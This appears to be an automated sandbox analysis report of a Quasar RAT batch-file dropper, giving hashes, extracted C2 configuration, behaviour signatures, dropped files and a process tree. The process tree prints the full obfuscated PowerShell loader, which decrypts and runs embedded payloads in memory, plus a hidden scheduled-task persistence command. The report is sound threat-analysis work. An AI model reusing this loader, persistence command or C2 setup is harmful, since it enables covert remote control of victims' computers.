Analysis

  • max time kernel
    92s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-05-2024 17:57

General

  • Target

    Uni.bat

  • Size

    513KB

  • MD5

    0a925ca16ec44e9565027638c4ff20f7

  • SHA1

    d20cce3d5306e093b5229277bf185d8837870434

  • SHA256

    f97f77ce58a88581f1c85dd041e9eae54355627ecb8a50879e3e2b2d3b93c928

  • SHA512

    063be2320c4fabda61ea010ed4cecd8cb48805590d174efe9df5664afe7507ab83087b604ecb9999c7c1c51e13a841735e976d846ef6c693fe0c72ac94ca1d43

  • SSDEEP

    12288:ZUA4TL+TtSVgrl27G3czjtDAJyemKolW59Evy:ZUA4Yx27GYGJyemKtivy

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-AidubAN29rBfWYM23w

Attributes
  • encryption_key

    iBg8YjYObpa3f3ADDras

  • install_name

    $sxr-powershell.exe

  • log_directory

    $SXR-LOGS

  • reconnect_delay

    3000

  • startup_key

    $sxr-powershell

  • subdirectory

    $sxr-seroxen2

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sUCdiMpPcTo1kNTcd5faO+vGx5veajqktS5lxbmGgB0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HohuDnSLNHAZu1hC5GGBHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lxCOt=New-Object System.IO.MemoryStream(,$param_var); $ejzUa=New-Object System.IO.MemoryStream; $KBGGf=New-Object System.IO.Compression.GZipStream($lxCOt, [IO.Compression.CompressionMode]::Decompress); $KBGGf.CopyTo($ejzUa); $KBGGf.Dispose(); $lxCOt.Dispose(); $ejzUa.Dispose(); $ejzUa.ToArray();}function execute_function($param_var,$param2_var){ $KWZel=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yxLPQ=$KWZel.EntryPoint; $yxLPQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$Urrlw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($eNEwK in $Urrlw) { if ($eNEwK.StartsWith(':: ')) { $UjlEC=$eNEwK.Substring(3); break; }}$payloads_var=[string[]]$UjlEC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_118_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_118.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3696
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_118.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1628
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_118.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2288
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sUCdiMpPcTo1kNTcd5faO+vGx5veajqktS5lxbmGgB0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HohuDnSLNHAZu1hC5GGBHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lxCOt=New-Object System.IO.MemoryStream(,$param_var); $ejzUa=New-Object System.IO.MemoryStream; $KBGGf=New-Object System.IO.Compression.GZipStream($lxCOt, [IO.Compression.CompressionMode]::Decompress); $KBGGf.CopyTo($ejzUa); $KBGGf.Dispose(); $lxCOt.Dispose(); $ejzUa.Dispose(); $ejzUa.ToArray();}function execute_function($param_var,$param2_var){ $KWZel=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yxLPQ=$KWZel.EntryPoint; $yxLPQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_118.bat';$Urrlw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_118.bat').Split([Environment]::NewLine);foreach ($eNEwK in $Urrlw) { if ($eNEwK.StartsWith(':: ')) { $UjlEC=$eNEwK.Substring(3); break; }}$payloads_var=[string[]]$UjlEC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:2992
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4196,i,16488180140590516186,11762960689811837350,262144 --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:8
    1⤵
      PID:3788

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      9751fcb3d8dc82d33d50eebe53abe314

      SHA1

      7a680212700a5d9f3ca67c81e0e243834387c20c

      SHA256

      ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

      SHA512

      54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      17KB

      MD5

      8a5b17921e36c7de6497b037632aabe1

      SHA1

      2f633a5ec3a29584292c6266f4f8ab6e9ef8ccfa

      SHA256

      631c3c58a699f0ae56b5fe3fc0d7f4be2d085740afbe63a7a6ffeedebbbfc1c5

      SHA512

      025aca647bc3244d09e8e0e8bc3d490298296fd1137144dff973d5e84e595b82333a0b22c398a06cbc3e7e7daf9ce340c9524c0e31cbd041df410179ce250656

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zou54ou0.xge.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\startup_str_118.bat

      Filesize

      513KB

      MD5

      0a925ca16ec44e9565027638c4ff20f7

      SHA1

      d20cce3d5306e093b5229277bf185d8837870434

      SHA256

      f97f77ce58a88581f1c85dd041e9eae54355627ecb8a50879e3e2b2d3b93c928

      SHA512

      063be2320c4fabda61ea010ed4cecd8cb48805590d174efe9df5664afe7507ab83087b604ecb9999c7c1c51e13a841735e976d846ef6c693fe0c72ac94ca1d43

    • C:\Users\Admin\AppData\Roaming\startup_str_118.vbs

      Filesize

      115B

      MD5

      2ea31a6d1f87eae4e1e823f9ff59c278

      SHA1

      352636ad6cf76ed7545be9264c357f998d46c607

      SHA256

      17fe9fe54a7fd5ad22f8e22da999cc4278605a716e62d5301bb6c9b3ff72af8d

      SHA512

      cadab762f83f45ef6a009c52cb56fde45f14d51e8bc24dc4b799a30d9db2e0edb597157861247bcdb3b409c646ddd53c3bfb11a58410f6c8f3ca9af6baa355a1

    • memory/2556-18-0x0000000006920000-0x000000000693E000-memory.dmp

      Filesize

      120KB

    • memory/2556-3-0x0000000074790000-0x0000000074F40000-memory.dmp

      Filesize

      7.7MB

    • memory/2556-7-0x00000000063C0000-0x0000000006426000-memory.dmp

      Filesize

      408KB

    • memory/2556-5-0x0000000006280000-0x00000000062A2000-memory.dmp

      Filesize

      136KB

    • memory/2556-17-0x0000000006490000-0x00000000067E4000-memory.dmp

      Filesize

      3.3MB

    • memory/2556-0-0x000000007479E000-0x000000007479F000-memory.dmp

      Filesize

      4KB

    • memory/2556-19-0x0000000006970000-0x00000000069BC000-memory.dmp

      Filesize

      304KB

    • memory/2556-20-0x00000000081A0000-0x000000000881A000-memory.dmp

      Filesize

      6.5MB

    • memory/2556-21-0x0000000006EF0000-0x0000000006F0A000-memory.dmp

      Filesize

      104KB

    • memory/2556-22-0x0000000003340000-0x0000000003348000-memory.dmp

      Filesize

      32KB

    • memory/2556-23-0x0000000007B30000-0x0000000007B92000-memory.dmp

      Filesize

      392KB

    • memory/2556-24-0x0000000009820000-0x0000000009DC4000-memory.dmp

      Filesize

      5.6MB

    • memory/2556-77-0x0000000074790000-0x0000000074F40000-memory.dmp

      Filesize

      7.7MB

    • memory/2556-1-0x0000000003470000-0x00000000034A6000-memory.dmp

      Filesize

      216KB

    • memory/2556-2-0x0000000005B20000-0x0000000006148000-memory.dmp

      Filesize

      6.2MB

    • memory/2556-4-0x0000000074790000-0x0000000074F40000-memory.dmp

      Filesize

      7.7MB

    • memory/2556-6-0x0000000006350000-0x00000000063B6000-memory.dmp

      Filesize

      408KB

    • memory/2992-78-0x0000000006D80000-0x0000000006DEC000-memory.dmp

      Filesize

      432KB

    • memory/2992-83-0x0000000007490000-0x000000000749A000-memory.dmp

      Filesize

      40KB

    • memory/2992-81-0x0000000007260000-0x000000000729C000-memory.dmp

      Filesize

      240KB

    • memory/2992-80-0x0000000006FC0000-0x0000000006FD2000-memory.dmp

      Filesize

      72KB

    • memory/2992-79-0x0000000006F00000-0x0000000006F92000-memory.dmp

      Filesize

      584KB

    • memory/3696-50-0x0000000007440000-0x00000000074E3000-memory.dmp

      Filesize

      652KB

    • memory/3696-55-0x0000000074790000-0x0000000074F40000-memory.dmp

      Filesize

      7.7MB

    • memory/3696-58-0x0000000074790000-0x0000000074F40000-memory.dmp

      Filesize

      7.7MB

    • memory/3696-49-0x0000000074790000-0x0000000074F40000-memory.dmp

      Filesize

      7.7MB

    • memory/3696-38-0x00000000705B0000-0x00000000705FC000-memory.dmp

      Filesize

      304KB

    • memory/3696-37-0x00000000071F0000-0x0000000007222000-memory.dmp

      Filesize

      200KB

    • memory/3696-27-0x0000000074790000-0x0000000074F40000-memory.dmp

      Filesize

      7.7MB

    • memory/3696-26-0x0000000074790000-0x0000000074F40000-memory.dmp

      Filesize

      7.7MB

    • memory/3696-54-0x00000000077A0000-0x00000000077B1000-memory.dmp

      Filesize

      68KB

    • memory/3696-53-0x0000000007820000-0x00000000078B6000-memory.dmp

      Filesize

      600KB

    • memory/3696-52-0x0000000007610000-0x000000000761A000-memory.dmp

      Filesize

      40KB

    • memory/3696-48-0x00000000071D0000-0x00000000071EE000-memory.dmp

      Filesize

      120KB

    • memory/3696-51-0x0000000074790000-0x0000000074F40000-memory.dmp

      Filesize

      7.7MB